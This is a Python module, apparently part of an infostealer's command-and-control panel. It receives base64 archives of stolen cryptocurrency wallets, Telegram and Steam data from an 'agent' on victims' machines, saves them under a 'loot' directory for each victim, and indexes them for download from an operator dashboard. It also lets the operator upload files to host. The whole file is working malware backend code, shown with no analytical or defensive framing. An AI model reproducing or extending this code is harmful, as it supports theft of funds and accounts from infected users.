122 lines
4.0 KiB
Python
122 lines
4.0 KiB
Python
"""
|
|
Binary payload storage for the panel.
|
|
|
|
Payloads (wallet / telegram / steam zips) that the agent ships over E2EE are
|
|
written to disk under loot/<client_id>/ so they're persisted as a backup, and
|
|
tracked in the blobs table so the dashboard can list + download them.
|
|
"""
|
|
import base64
|
|
import os
|
|
import time
|
|
|
|
import db
|
|
|
|
# Root directory for all hosted payloads. Auto-created on first write.
|
|
LOOT_ROOT = os.path.join(os.path.dirname(__file__), "loot")
|
|
|
|
# Match the request size that the agent is allowed to send in one payload.
|
|
# Guard: refuse a single blob beyond this (avoids filling the disk).
|
|
MAX_BLOB = 64 * 1024 * 1024 # 64 MB
|
|
|
|
|
|
def save_payload(client_id, blob, conn=None):
|
|
"""Persist one payload dict from the agent. blob has keys:
|
|
category, name, filename, size, data (base64 str). Returns the blob row id.
|
|
|
|
If `conn` is provided (an already-open transaction, e.g. during ingest) the
|
|
DB insert runs on that connection and is NOT committed; otherwise a fresh
|
|
connection is used and committed."""
|
|
filename = (blob.get("filename") or blob.get("name") or "payload").replace("/", "_").replace("\\", "_")
|
|
data_b64 = blob.get("data", "")
|
|
try:
|
|
raw = base64.b64decode(data_b64)
|
|
except Exception as e:
|
|
raise ValueError(f"bad base64 payload: {e}")
|
|
if len(raw) > MAX_BLOB:
|
|
raise ValueError("payload too large")
|
|
|
|
os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True)
|
|
path = os.path.join(LOOT_ROOT, client_id, filename)
|
|
with open(path, "wb") as f:
|
|
f.write(raw)
|
|
|
|
ts = int(time.time())
|
|
if conn is not None:
|
|
cur = conn.execute(
|
|
"INSERT INTO blobs (client_id, category, name, filename, size, created) "
|
|
"VALUES (?,?,?,?,?,?)",
|
|
(client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts),
|
|
)
|
|
return cur.lastrowid
|
|
|
|
conn = db.get_conn()
|
|
try:
|
|
cur = conn.execute(
|
|
"INSERT INTO blobs (client_id, category, name, filename, size, created) "
|
|
"VALUES (?,?,?,?,?,?)",
|
|
(client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts),
|
|
)
|
|
conn.commit()
|
|
return cur.lastrowid
|
|
finally:
|
|
conn.close()
|
|
|
|
|
|
def upload_public(filename, data, category="upload"):
|
|
"""Store an admin-uploaded file under loot/upload/ and track it in blobs.
|
|
|
|
Returns the blob row id."""
|
|
raw = data if isinstance(data, (bytes, bytearray)) else data.encode()
|
|
if len(raw) > MAX_BLOB:
|
|
raise ValueError("file too large")
|
|
filename = (filename or "download").replace("/", "_").replace("\\", "_")
|
|
client_id = "upload"
|
|
os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True)
|
|
path = os.path.join(LOOT_ROOT, client_id, filename)
|
|
with open(path, "wb") as f:
|
|
f.write(raw)
|
|
|
|
ts = int(time.time())
|
|
conn = db.get_conn()
|
|
try:
|
|
cur = conn.execute(
|
|
"INSERT INTO blobs (client_id, category, name, filename, size, created) "
|
|
"VALUES (?,?,?,?,?,?)",
|
|
(client_id, category or "upload", filename, filename, len(raw), ts),
|
|
)
|
|
conn.commit()
|
|
return cur.lastrowid
|
|
finally:
|
|
conn.close()
|
|
|
|
|
|
def blobs_for(client_id=None):
|
|
conn = db.get_conn()
|
|
try:
|
|
if client_id:
|
|
rows = conn.execute(
|
|
"SELECT * FROM blobs WHERE client_id = ? ORDER BY id DESC", (client_id,)
|
|
).fetchall()
|
|
else:
|
|
rows = conn.execute("SELECT * FROM blobs ORDER BY id DESC").fetchall()
|
|
return [dict(r) for r in rows]
|
|
finally:
|
|
conn.close()
|
|
|
|
|
|
def blob_path(client_id, blob_id):
|
|
conn = db.get_conn()
|
|
try:
|
|
row = conn.execute(
|
|
"SELECT * FROM blobs WHERE id = ? AND client_id = ?", (blob_id, client_id)
|
|
).fetchone()
|
|
finally:
|
|
conn.close()
|
|
if not row:
|
|
return None
|
|
d = dict(row)
|
|
path = os.path.join(LOOT_ROOT, d["client_id"], d["filename"])
|
|
if not os.path.exists(path):
|
|
return None
|
|
return path
|